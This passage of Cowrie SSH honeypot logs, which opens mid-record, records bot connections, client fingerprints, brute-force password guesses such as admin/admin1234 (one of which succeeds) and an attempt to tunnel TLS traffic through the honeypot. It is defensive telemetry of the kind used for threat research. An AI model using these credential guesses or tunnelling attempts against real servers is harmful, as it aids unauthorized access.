w\\xe6\\xc8\\xfc\\xe2\\xccL\\xa0\\xfeE\\xfa*\\x91\\x19\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:38.766714Z","src_ip":"123.27.168.40","session":"9967620bdb05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:38.862746Z","src_ip":"123.27.168.40","session":"b754aa97fb74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:39.221871Z","session":"9967620bdb05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:39.455223Z","src_ip":"123.27.168.40","session":"9967620bdb05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfcG1\\x14\\xd7\\xc1\\xac\\xea\\x14\\xf9\\x1cAvY\\xf5\\xac\\xb3\\x01\\xd3\\x87\\x02|\\xd5\\x92\\x11\\x8b$A\\xffw@\\xfb \\xf6[\\x99\\xcb\\xa7\\xfe\\xa6J\\x92\\xe0\\xe9\\xc9,&\\xb8ZYC\\xf7\\xb4\\xd5\\x04\\x1d:\\xae\\xcb`\\xadN\\x8b\\t\\x1e\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 p\\xa2\\x9a\\x0e\\xf6\\x86\\xe1j8\\xaf\\xb4;\\xecUO\\x04\\xc4\\x8f\\xd7\\x90\\x15\\x06\\x04h ?\\x94\\xf3,\\x87\\x11y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfcG1\\x14\\xd7\\xc1\\xac\\xea\\x14\\xf9\\x1cAvY\\xf5\\xac\\xb3\\x01\\xd3\\x87\\x02|\\xd5\\x92\\x11\\x8b$A\\xffw@\\xfb \\xf6[\\x99\\xcb\\xa7\\xfe\\xa6J\\x92\\xe0\\xe9\\xc9,&\\xb8ZYC\\xf7\\xb4\\xd5\\x04\\x1d:\\xae\\xcb`\\xadN\\x8b\\t\\x1e\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 p\\xa2\\x9a\\x0e\\xf6\\x86\\xe1j8\\xaf\\xb4;\\xecUO\\x04\\xc4\\x8f\\xd7\\x90\\x15\\x06\\x04h ?\\x94\\xf3,\\x87\\x11y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:39.458627Z","src_ip":"123.27.168.40","session":"9967620bdb05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32862,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b6d14731b15","protocol":"ssh","message":"New connection: 91.92.40.36:32862 (159.203.135.109:22) [session: 7b6d14731b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:39.515756Z"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:39.896794Z","src_ip":"123.27.168.40","session":"9967620bdb05","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:40.254463Z","src_ip":"91.92.40.36","session":"7b6d14731b15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:40.261081Z","src_ip":"91.92.40.36","session":"7b6d14731b15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32898,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa37d7b564f9","protocol":"ssh","message":"New connection: 91.92.40.36:32898 (159.203.135.109:22) [session: fa37d7b564f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:45.498420Z"}
{"eventid":"cowrie.login.failed","username":"forumtest","password":"forumtest","message":"login attempt [forumtest/forumtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:45.873687Z","src_ip":"91.92.40.36","session":"7b6d14731b15","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:46.331002Z","src_ip":"91.92.40.36","session":"fa37d7b564f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:46.335506Z","src_ip":"91.92.40.36","session":"fa37d7b564f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:47.901384Z","src_ip":"91.92.40.36","session":"7b6d14731b15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www-data","password":"letmein","message":"login attempt [www-data/letmein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:48.783460Z","src_ip":"91.92.40.36","session":"fa37d7b564f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:50.395960Z","src_ip":"91.92.40.36","session":"fa37d7b564f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":40730,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d1e90c15996","protocol":"ssh","message":"New connection: 91.92.40.36:40730 (159.203.135.109:22) [session: 8d1e90c15996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:53.675662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:54.159867Z","src_ip":"91.92.40.36","session":"8d1e90c15996","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:54.163545Z","src_ip":"91.92.40.36","session":"8d1e90c15996","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":64349,"dst_ip":"10.17.0.5","dst_port":22,"session":"f84ef4774695","protocol":"ssh","message":"New connection: 23.175.50.51:64349 (10.17.0.5:22) [session: f84ef4774695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:56.132535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:56.136838Z","src_ip":"23.175.50.51","session":"f84ef4774695","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:56.444573Z","src_ip":"23.175.50.51","session":"f84ef4774695","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rogelio","password":"rogelio","message":"login attempt [rogelio/rogelio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:56.905811Z","src_ip":"91.92.40.36","session":"8d1e90c15996","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:57.747033Z","src_ip":"23.175.50.51","session":"f84ef4774695","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:58.896627Z","src_ip":"91.92.40.36","session":"8d1e90c15996","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":31986,"dst_ip":"159.203.135.109","dst_port":22,"session":"5450d878c087","protocol":"ssh","message":"New connection: 91.92.40.36:31986 (159.203.135.109:22) [session: 5450d878c087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:02.152752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:03.218458Z","src_ip":"91.92.40.36","session":"5450d878c087","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:04.917491Z","src_ip":"91.92.40.36","session":"5450d878c087","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":63076,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5a54ed0d25c","protocol":"ssh","message":"New connection: 91.92.40.36:63076 (159.203.135.109:22) [session: c5a54ed0d25c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:06.404247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:14:08.549251Z","src_ip":"91.92.40.36","session":"c5a54ed0d25c","protocol":"ssh"}
